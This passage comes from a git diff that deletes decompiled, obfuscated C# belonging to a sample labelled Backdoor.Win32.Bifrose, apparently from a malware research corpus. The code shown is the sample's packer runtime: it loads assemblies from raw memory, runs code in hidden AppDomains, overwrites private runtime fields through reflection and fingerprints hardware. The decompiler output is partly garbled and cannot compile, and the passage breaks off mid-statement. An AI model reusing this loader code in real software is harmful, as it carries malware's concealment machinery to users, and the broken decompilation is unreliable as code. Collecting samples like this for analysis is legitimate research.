(void*) (numPtr + length1 + 12); - byte[] numArray = new byte[length1]; - byte[] destination = numArray; - int length3 = length1; - Marshal.Copy(source1, destination, 0, length3); - Assembly assembly; - if (length2 != 0) - { - byte[] rawSymbolStore = new byte[length2]; - Marshal.Copy(source2, numArray, 0, length2); - assembly = Assembly.Load(numArray, rawSymbolStore); - } - else - assembly = Assembly.Load(numArray); - Marshal.FreeCoTaskMem(_param1); - if ((object) assembly != null && num1 >= 0) - { - Type[] types = assembly.GetTypes(); - IntPtr num2 = types[types.Length - 1].TypeHandle.Value; - \u0082\u00BB.\u0081\u0081((byte*) Marshal.GetHINSTANCE(assembly.GetLoadedModules()[0]).ToPointer(), num2.ToPointer(), num1, id); - } - return assembly; - } - - internal static unsafe void Î(Assembly _param0) - { - string assemblyString = PvLogiciels.dotNetProtector.Runtime.GetAssemblyString(_param0); - IntPtr ptr = IntPtr.Zero; - if (assemblyString != (string) null) - ptr = Marshal.StringToCoTaskMemAnsi(assemblyString); - \u0082\u00BB.\u0081\u0081((byte*) Marshal.GetHINSTANCE(_param0.GetLoadedModules()[0]).ToPointer(), (void*) 0, (int*) 0, (sbyte*) ptr.ToPointer(), AppDomain.CurrentDomain.Id); - if (!(ptr != IntPtr.Zero)) - return; - Marshal.FreeCoTaskMem(ptr); - } - - public virtual Assembly GetEntryAssembly() - { - if ((object) \u0081ê.\u0081\u0099 != null) - return \u0081ê.\u0081\u0099; - Assembly entryAssembly = Assembly.GetEntryAssembly(); - if ((object) entryAssembly != null) - { - \u0081ê.\u0081\u0099 = entryAssembly; - return entryAssembly; - } - Assembly executingAssembly = Assembly.GetExecutingAssembly(); - if (executingAssembly.FullName.StartsWith("PvLogiciels.dotNetProtector.Runtime")) - return (Assembly) null; - \u0081ê.\u0081\u0099 = executingAssembly; - return executingAssembly; - } - - public static IRuntime InitRuntime() - { - RuntimeInterop runtimeInterop = new RuntimeInterop(); - if (AppDomain.CurrentDomain.IsDefaultAppDomain()) - { - AppDomain.CurrentDomain.ProcessExit += new EventHandler(RuntimeInterop.AppDomain_ProcessExit); - return (IRuntime) runtimeInterop; - } - AppDomain.CurrentDomain.DomainUnload += new EventHandler(new \u0081Þ(AppDomain.CurrentDomain, AppDomain.CurrentDomain.Id).\u0081\u0084); - return (IRuntime) runtimeInterop; - } - - public static void AppDomain_ProcessExit(object sender, EventArgs e) - { - GC.Collect(); - GC.WaitForPendingFinalizers(); - \u0082\u00BB.\u0081\u0086(); - } - - public virtual void NGenInitRuntime() - { - } - - public virtual ulong GetComputerHash() => \u0082\u00BB.\u0081\u008C(); - - public virtual long GetMacAddress() => \u0082\u00BB.Ç(); - - public virtual ulong GetBiosHash() => \u0082\u00BB.Ï(); - - public virtual int UnloadDomain() => \u0082\u00BB.\u0095(AppDomain.CurrentDomain.Id); - - public virtual unsafe int InitModule(Type pReserved1, IntPtr pReserved2, string Reserved3) - { - IntPtr ptr = IntPtr.Zero; - if (Reserved3 != (string) null) - ptr = Marshal.StringToCoTaskMemAnsi(Reserved3); - IntPtr num1 = pReserved1.TypeHandle.Value; - int num2 = \u0082\u00BB.\u0081\u0081((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer(), num1.ToPointer(), (int*) pReserved2.ToPointer(), (sbyte*) ptr.ToPointer(), AppDomain.CurrentDomain.Id); - if (ptr != IntPtr.Zero) - Marshal.FreeCoTaskMem(ptr); - if (num2 == 2) - { - this.\u0081\u00BD = pReserved1.Assembly; - this.\u0082\u00B4 = pReserved1.Assembly.GetName().Name; - int length = \u0082\u00BB.\u0081\u009B(); - if (length != 0) - { - this.ò = new Assembly[length]; - int index = 0; - if (0 < length) - { - do - { - this.ò[index] = (Assembly) null; - ++index; - } - while (index < length); - } - } - } - return num2; - } - - public virtual unsafe string DesignLicenseKey(Type pReserved1, string pReserved2) - { - IntPtr ptr = Marshal.AllocCoTaskMem(IntPtr.Size); - IntPtr coTaskMemAnsi = Marshal.StringToCoTaskMemAnsi(pReserved2); - \u0082\u00BB.Ý((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer(), (sbyte*) coTaskMemAnsi.ToPointer(), (sbyte**) ptr.ToPointer()); - IntPtr num = Marshal.ReadIntPtr(ptr); - string str = (string) null; - if (num != IntPtr.Zero) - { - string stringAnsi = Marshal.PtrToStringAnsi(num); - Marshal.FreeHGlobal(num); - str = stringAnsi; - } - Marshal.FreeCoTaskMem(ptr); - if (!(coTaskMemAnsi != IntPtr.Zero)) - return str; - Marshal.FreeCoTaskMem(coTaskMemAnsi); - return str; - } - - [return: MarshalAs(UnmanagedType.U1)] - public virtual unsafe bool SameSoftware(Assembly pReserved, IntPtr pSoft, ulong SwMajor) - { - int num; - if (\u0082\u00BB.\u0081\u00A5((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pSoft.ToPointer(), SwMajor, &num) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return num != 0; - } - - [return: MarshalAs(UnmanagedType.U1)] - public virtual unsafe bool IsLicensed(Assembly pReserved, string licenseKey, [MarshalAs(UnmanagedType.U1)] bool usb) - { - IntPtr coTaskMemAnsi = Marshal.StringToCoTaskMemAnsi(licenseKey); - int num1 = usb ? 1 : 0; - int num2 = \u0082\u00BB.\u0081ª((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) coTaskMemAnsi.ToPointer(), num1); - if (coTaskMemAnsi != IntPtr.Zero) - Marshal.FreeCoTaskMem(coTaskMemAnsi); - return num2 != 0; - } - - public virtual unsafe int HardwareScore(Assembly pReserved, ulong HwConfig1, ulong HwConfig2) - { - int num; - if (\u0082\u00BB.\u00A1((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), HwConfig1, HwConfig2, &num) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return num; - } - - public virtual unsafe IntPtr GenProductKey( - Assembly pReserved, - IntPtr pKeys, - uint LicenseID, - ulong data) - { - sbyte* numPtr; - if (\u0082\u00BB.\u0081µ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), LicenseID, data, &numPtr) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) numPtr; - } - - public virtual unsafe IntPtr GenProductKey( - Assembly pReserved, - IntPtr pKeys, - uint LicenseID) - { - sbyte* numPtr; - if (\u0082\u00BB.\u0081µ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), LicenseID, &numPtr) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) numPtr; - } - - public virtual unsafe uint GetLicenseId(Assembly pReserved, IntPtr pProductKey) - { - uint licenseId; - if (\u0082\u00BB.\u0081\u00BC((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pProductKey.ToPointer(), &licenseId) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return licenseId; - } - - public virtual unsafe ulong GetProductkeyData(Assembly pReserved, IntPtr pProductKey) - { - uint num; - ulong productkeyData; - if (\u0082\u00BB.\u0081\u00BC((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pProductKey.ToPointer(), &num, &productkeyData) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return productkeyData; - } - - public virtual unsafe IntPtr DecodeActivationString( - Assembly pReserved, - IntPtr pKeys, - IntPtr pActivationString) - { - byte* numPtr; - if (\u0082\u00BB.\u0081Ä((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), (sbyte*) pActivationString.ToPointer(), &numPtr) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) numPtr; - } - - public virtual unsafe IntPtr EncodeActivationRequest(Assembly pReserved, IntPtr preq) - { - sbyte* numPtr; - if (\u0082\u00BB.Ã((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), preq.ToPointer(), &numPtr) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) numPtr; - } - - public virtual unsafe IntPtr GetConfig( - Assembly pReserved, - uint LicenseID, - ushort ActivationDuration) - { - sbyte* config; - if (\u0082\u00BB.\u0081Ñ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, &config) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) config; - } - - public virtual unsafe IntPtr GetConfig( - Assembly pReserved, - uint LicenseID, - ushort ActivationDuration, - IntPtr pAssemblyFile) - { - sbyte* config; - if (\u0082\u00BB.\u0081Ñ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, (sbyte*) pAssemblyFile.ToPointer(), &config) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) config; - } - - public virtual unsafe IntPtr GetConfig( - Assembly pReserved, - uint LicenseID, - ushort ActivationDuration, - AssemblyName Name) - { - string name = Name.Name; - byte[] bytes = Encoding.UTF8.GetBytes(string.Concat((object) "\0")); - GCHandle gcHandle = GCHandle.Alloc((object) bytes, GCHandleType.Pinned); - IntPtr num1 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) bytes, 0); - sbyte* config; - int num2 = \u0082\u00BB.\u0081Ñ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, (byte*) num1.ToPointer(), (ushort) Name.Version.Major, (ushort) Name.Version.Minor, &config); - gcHandle.Free(); - if (num2 == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) config; - } - - public virtual unsafe string GetThumbPrint(Assembly pReserved) - { - \u0081Ï ï; - if (\u0082\u00BB.\u0081\u00D7((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (byte*) &ï) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - StringBuilder stringBuilder = new StringBuilder(); - int num = 0; - do - { - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - stringBuilder.Append(string.Format("{0:x}", (object) ^(byte&) (num + (IntPtr) &ï)).PadLeft(2, '0')); - ++num; - } - while (num < 20); - return stringBuilder.ToString(); - } - - public virtual unsafe byte[] GetConfigForDemo(Assembly pReserved) - { - uint length; - byte* numPtr; - if (\u0082\u00BB.\u0081\u00B4((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), &length, &numPtr) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - byte[] destination = new byte[(int) length]; - IntPtr num = (IntPtr) (void*) numPtr; - Marshal.Copy(num, destination, 0, (int) length); - Marshal.FreeCoTaskMem(num); - return destination; - } - - public virtual unsafe IntPtr GetUsbConfig( - Assembly pReserved, - uint LicenseID, - ushort ActivationDuration, - ulong UsbHash, - ulong UsbIdentity) - { - sbyte* usbConfig; - if (\u0082\u00BB.\u0081è((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, UsbHash, UsbIdentity, &usbConfig) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) usbConfig; - } - - public virtual unsafe IntPtr GetUsbConfig( - Assembly pReserved, - uint LicenseID, - ushort ActivationDuration, - ulong UsbHash, - ulong UsbIdentity, - IntPtr pAssemblyFile) - { - sbyte* usbConfig; - if (\u0082\u00BB.\u0081è((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, UsbHash, UsbIdentity, (sbyte*) pAssemblyFile.ToPointer(), &usbConfig) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) usbConfig; - } - - public virtual unsafe IntPtr GetUsbConfig( - Assembly pReserved, - uint LicenseID, - ushort ActivationDuration, - ulong UsbHash, - ulong UsbIdentity, - AssemblyName Name) - { - string name = Name.Name; - byte[] bytes = Encoding.UTF8.GetBytes(string.Concat((object) "\0")); - GCHandle gcHandle = GCHandle.Alloc((object) bytes, GCHandleType.Pinned); - IntPtr num1 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) bytes, 0); - sbyte* usbConfig; - int num2 = \u0082\u00BB.\u0081è((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, UsbHash, UsbIdentity, (byte*) num1.ToPointer(), (ushort) Name.Version.Major, (ushort) Name.Version.Minor, &usbConfig); - gcHandle.Free(); - if (num2 == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) usbConfig; - } - - public virtual unsafe IntPtr GenerateLicense( - Assembly pReserved, - IntPtr pKeys, - IntPtr preq) - { - sbyte* license; - if (\u0082\u00BB.\u0081ð((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), preq.ToPointer(), &license) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) license; - } - - public virtual unsafe IntPtr GenerateLicense( - Assembly pReserved, - IntPtr pKeys, - IntPtr preq, - int tolerance, - [MarshalAs(UnmanagedType.U1)] bool ignoreMinor, - long RuntimeLicensesLimit) - { - sbyte* license; - if (\u0082\u00BB.\u0081ð((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), preq.ToPointer(), tolerance, ignoreMinor ? 1 : 0, RuntimeLicensesLimit, &license) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) license; - } - - public virtual unsafe IntPtr GenerateUsbLicense( - Assembly pReserved, - IntPtr pKeys, - IntPtr preq) - { - sbyte* usbLicense; - if (\u0082\u00BB.\u0081\u00AC((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), preq.ToPointer(), &usbLicense, (byte) 0) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) usbLicense; - } - - public virtual unsafe IntPtr GenerateUsbLicense( - Assembly pReserved, - IntPtr pKeys, - IntPtr preq, - int tolerance, - [MarshalAs(UnmanagedType.U1)] bool ignoreMinor, - long RuntimeLicensesLimit) - { - sbyte* usbLicense; - if (\u0082\u00BB.\u0081\u00AC((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), preq.ToPointer(), tolerance, ignoreMinor ? 1 : 0, RuntimeLicensesLimit, &usbLicense, (byte) 0) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) usbLicense; - } - - public virtual unsafe Assembly ResolveAssembly(string Name) - { - // ISSUE: untyped stack allocation - int num1 = (int) __untypedstackalloc(\u0082\u00BB.Õ()); - try - { - AssemblyName assemblyName = new AssemblyName(Name); - } - catch (Exception ex1) when ( - { - // ISSUE: unable to correctly present filter - uint exceptionCode = (uint) Marshal.GetExceptionCode(); - if (\u0082\u00BB.\u0082\u00AE((void*) Marshal.GetExceptionPointers(), (void*) 0, 0, (void*) 0) != 0) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - uint num2 = 0; - \u0082\u00BB.\u0081\u009A((void*) Marshal.GetExceptionPointers(), (void*) num1); - try - { - try - { - return (Assembly) null; - } - catch (Exception ex2) when ( - { - // ISSUE: unable to correctly present filter - num2 = (uint) \u0082\u00BB.\u0084((void*) Marshal.GetExceptionPointers()); - if (num2 != 0U) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - } - if (num2 != 0U) - throw; - } - finally - { - \u0082\u00BB.ã((void*) num1, (int) num2); - } - } - byte[] bytes = Encoding.UTF8.GetBytes(Name); - GCHandle gcHandle = GCHandle.Alloc((object) bytes, GCHandleType.Pinned); - IntPtr num3 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) bytes, 0); - int index = \u0082\u00BB.\u0082\u0082(num3.ToPointer()); - if (index >= 0) - { - Assembly[] ò = this.ò; - if (index < ò.Length) - { - if ((object) ò[index] == null) - this.ò[index] = this.\u0081â(num3); - gcHandle.Free(); - return this.ò[index]; - } - } - gcHandle.Free(); - return new AssemblyName(Name).Name == this.\u0082\u00B4 ? this.\u0081\u00BD : (Assembly) null; - } - - public virtual int ExecuteEmbLockAssembly(Type pReserved1, int Reserved2) => \u0081Ù.\u0081Ö(pReserved1.Assembly, Reserved2); - - public virtual unsafe Assembly GetEmbLockAssembly(Type pReserved1) - { - byte* numPtr = (byte*) \u0082\u00BB.î((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer()); - if ((IntPtr) numPtr == IntPtr.Zero) - return (Assembly) null; - IntPtr ptr = (IntPtr) (void*) numPtr; - int length1 = Marshal.ReadInt32(ptr); - IntPtr source = (IntPtr) (void*) (numPtr + 4); - byte[] rawAssembly = new byte[length1]; - byte[] destination = rawAssembly; - int length2 = length1; - Marshal.Copy(source, destination, 0, length2); - Assembly embLockAssembly = Assembly.Load(rawAssembly); - Marshal.FreeCoTaskMem(ptr); - return embLockAssembly; - } - - public virtual unsafe Assembly GetEmbLockAssemblyName(Type pReserved1) - { - byte* numPtr = (byte*) \u0082\u00BB.ô((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer()); - if ((IntPtr) numPtr == IntPtr.Zero) - return (Assembly) null; - IntPtr ptr = (IntPtr) (void*) numPtr; - string stringAnsi = Marshal.PtrToStringAnsi(ptr); - Marshal.FreeCoTaskMem(ptr); - Assembly lockAssemblyName = (Assembly) null; - try - { - lockAssemblyName = Assembly.Load(stringAnsi); - } - catch (Exception ex) - { - } - return lockAssemblyName; - } - - public virtual unsafe ArrayList GetEmbLockAssemblyServices(Type pReserved1) - { - byte* ptr1 = (byte*) \u0082\u00BB.\u0082\u008B((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer()); - if ((IntPtr) ptr1 == IntPtr.Zero) - return (ArrayList) null; - IntPtr ptr2 = (IntPtr) (void*) ptr1; - ArrayList assemblyServices = new ArrayList(); - if (*ptr1 != (byte) 0) - { - do - { - string stringAnsi = Marshal.PtrToStringAnsi((IntPtr) (void*) ptr1); - assemblyServices.Add((object) stringAnsi); - ptr1 = (byte*) (stringAnsi.Length + (IntPtr) ptr1 + 1); - } - while (*ptr1 != (byte) 0); - } - Marshal.FreeCoTaskMem(ptr2); - return assemblyServices; - } - - [return: MarshalAs(UnmanagedType.U1)] - public virtual unsafe bool ProductKeyChecksumIsOk(Assembly pReserved, IntPtr pString) - { - int num; - if (\u0082\u00BB.\u0082\u0096((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pString.ToPointer(), &num) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return num != 0; - } - - [return: MarshalAs(UnmanagedType.U1)] - public virtual unsafe bool ConfigStringChecksumIsOk(Assembly pReserved, IntPtr pString) - { - int num; - if (\u0082\u00BB.\u0082\u00A1((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pString.ToPointer(), &num) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return num != 0; - } - - [return: MarshalAs(UnmanagedType.U1)] - public virtual unsafe bool LicenseKeyChecksumIsOk(Assembly pReserved, IntPtr pString) - { - int num; - if (\u0082\u00BB.\u0081Ø((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pString.ToPointer(), &num) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return num != 0; - } - - [return: MarshalAs(UnmanagedType.U1)] - public virtual unsafe bool IsDemo(Assembly pReserved) - { - int num; - if (\u0082\u00BB.\u0082\u00AB((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), &num) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return num != 0; - } - - public virtual unsafe int DaysLeft(Assembly pReserved) - { - int num; - return \u0082\u00BB.\u0082\u00AF((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), &num) != 0 ? num : throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - } - - public virtual unsafe int MinutesLeft(Assembly pReserved) - { - int num; - return \u0082\u00BB.\u0082\u00B9((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), &num) != 0 ? num : throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - } - - public virtual unsafe uint GetProductID(Assembly pReserved) => \u0082\u00BB.\u0082((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer()); - - public virtual void UnloadAppdomain(AppDomain domain) - { - int id = domain.Id; - AppDomain.Unload(domain); - \u0082\u00BB.\u0095(id); - } - - public virtual unsafe IntPtr StartUsbDetect() => (IntPtr) \u0082\u00BB.\u0081ø(); - - public virtual unsafe void EndUsbDetect(IntPtr handle) => \u0082\u00BB.\u008B(handle.ToPointer()); - - public virtual unsafe IntPtr LoadNativeLibrary(Assembly pReserved, IntPtr[] pointers) - { - GCHandle gcHandle = GCHandle.Alloc((object) pointers, GCHandleType.Pinned); - IntPtr num1 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) pointers, 0); - IntPtr num2 = (IntPtr) \u0082\u00BB.\u0082\u0087((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (void**) num1.ToPointer()); - gcHandle.Free(); - return num2; - } - - public virtual unsafe void FreeNativeLibrary(IntPtr pLib) => \u0082\u00BB.\u0096(pLib.ToPointer()); - - public virtual StackFrame[] GetFrames(StackTrace trace) => trace == null ? new StackFrame[0] : trace.GetFrames(); - - public virtual unsafe void EncodeTrace(Guid[] Guids, long[] Indexes, IntPtr[] Handles) - { - GCHandle gcHandle1 = GCHandle.Alloc((object) Guids, GCHandleType.Pinned); - GCHandle gcHandle2 = GCHandle.Alloc((object) Indexes, GCHandleType.Pinned); - GCHandle gcHandle3 = GCHandle.Alloc((object) Handles, GCHandleType.Pinned); - IntPtr num1 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) Guids, 0); - IntPtr num2 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) Indexes, 0); - IntPtr num3 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) Handles, 0); - \u0082\u00BB.\u0098(Handles.Length, num3.ToPointer(), num2.ToPointer(), num1.ToPointer()); - gcHandle1.Free(); - gcHandle2.Free(); - gcHandle3.Free(); - } - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_003CdotNetProtector_003E.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_003CdotNetProtector_003E.cs deleted file mode 100644 index 98ff8ab1..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_003CdotNetProtector_003E.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -public class \u003CdotNetProtector\u003E -{ - internal static readonly long _Reserved; -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0081é/_0081Ù.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0081é/_0081Ù.cs deleted file mode 100644 index caf768a1..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0081é/_0081Ù.cs +++ /dev/null @@ -1,281 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: é.Ù -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using \u0081é; -using \u0082\u00BC; -using System; -using System.Reflection; -using System.Runtime.InteropServices; - -namespace \u0081é -{ - [Serializable] - internal class \u0081Ù - { - private IntPtr \u0082\u00B0; - private IntPtr á; - private int Þ; - private Assembly Û; - - private unsafe Assembly \u00F7() - { - byte* numPtr = (byte*) \u0082\u00BB.î((byte*) this.\u0082\u00B0.ToPointer()); - if ((IntPtr) numPtr == IntPtr.Zero) - return (Assembly) null; - IntPtr ptr = (IntPtr) (void*) numPtr; - int length1 = Marshal.ReadInt32(ptr); - IntPtr source = (IntPtr) (void*) (numPtr + 4); - byte[] rawAssembly = new byte[length1]; - byte[] destination = rawAssembly; - int length2 = length1; - Marshal.Copy(source, destination, 0, length2); - Assembly assembly = Assembly.Load(rawAssembly); - Marshal.FreeCoTaskMem(ptr); - return assembly; - } - - private unsafe Assembly \u0089() - { - byte* numPtr = (byte*) \u0082\u00BB.ô((byte*) this.\u0082\u00B0.ToPointer()); - if ((IntPtr) numPtr == IntPtr.Zero) - return (Assembly) null; - IntPtr ptr = (IntPtr) (void*) numPtr; - string stringAnsi = Marshal.PtrToStringAnsi(ptr); - Marshal.FreeCoTaskMem(ptr); - Assembly assembly = (Assembly) null; - try - { - assembly = Assembly.Load(stringAnsi); - } - catch (Exception ex) - { - } - return assembly; - } - - public static unsafe int \u0081Ö(Assembly _param0, int _param1) - { - // ISSUE: untyped stack allocation - int num1 = (int) __untypedstackalloc(\u0082\u00BB.Õ()); - IntPtr hinstance = Marshal.GetHINSTANCE(_param0.GetLoadedModules()[0]); - int num2 = 0; - \u0081Ù ù = new \u0081Ù(); - ù.Û = _param0; - ù.\u0082\u00B0 = hinstance; - ù.Þ = _param1; - IntPtr num3 = (IntPtr) (void*) &num2; - ù.á = num3; - AppDomain domain = AppDomain.CreateDomain(Guid.NewGuid().ToString()); - int id = domain.Id; - domain.AssemblyResolve += new ResolveEventHandler(\u0081Ù.ç); - CrossAppDomainDelegate callBackDelegate = new CrossAppDomainDelegate(ù.í); - domain.DoCallBack(callBackDelegate); - try - { - AppDomain.Unload(domain); - } - catch (Exception ex1) when ( - { - // ISSUE: unable to correctly present filter - uint exceptionCode = (uint) Marshal.GetExceptionCode(); - if (\u0082\u00BB.\u0082\u00AE((void*) Marshal.GetExceptionPointers(), (void*) 0, 0, (void*) 0) != 0) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - uint num4 = 0; - \u0082\u00BB.\u0081\u009A((void*) Marshal.GetExceptionPointers(), (void*) num1); - try - { - try - { - } - catch (Exception ex2) when ( - { - // ISSUE: unable to correctly present filter - num4 = (uint) \u0082\u00BB.\u0084((void*) Marshal.GetExceptionPointers()); - if (num4 != 0U) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - } - goto label_10; - if (num4 != 0U) - throw; - } - finally - { - \u0082\u00BB.ã((void*) num1, (int) num4); - } - } -label_10: - \u0082\u00BB.ù(); - \u0082\u00BB.\u0095(id); - return num2; - } - - public unsafe void í() - { - FieldInfo fieldInfo = (FieldInfo) null; - // ISSUE: untyped stack allocation - int num1 = (int) __untypedstackalloc(\u0082\u00BB.Õ()); - Assembly entryAssembly = Assembly.GetEntryAssembly(); - uint exceptionCode; - if ((object) entryAssembly == null) - { - \u0081ê.\u0081\u0099 = this.Û; - try - { - fieldInfo = (FieldInfo) null; - AppDomain currentDomain = AppDomain.CurrentDomain; - AppDomainManager appDomainManager = currentDomain.DomainManager; - if (appDomainManager == null) - { - appDomainManager = new AppDomainManager(); - typeof (AppDomain).GetField("_domainManager", BindingFlags.Instance | BindingFlags.NonPublic)?.SetValue((object) currentDomain, (object) appDomainManager); - } - typeof (AppDomainManager).GetField("m_entryAssembly", BindingFlags.Instance | BindingFlags.NonPublic)?.SetValue((object) appDomainManager, (object) entryAssembly); - } - catch (Exception ex1) when ( - { - // ISSUE: unable to correctly present filter - exceptionCode = (uint) Marshal.GetExceptionCode(); - if (\u0082\u00BB.\u0082\u00AE((void*) Marshal.GetExceptionPointers(), (void*) 0, 0, (void*) 0) != 0) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - uint 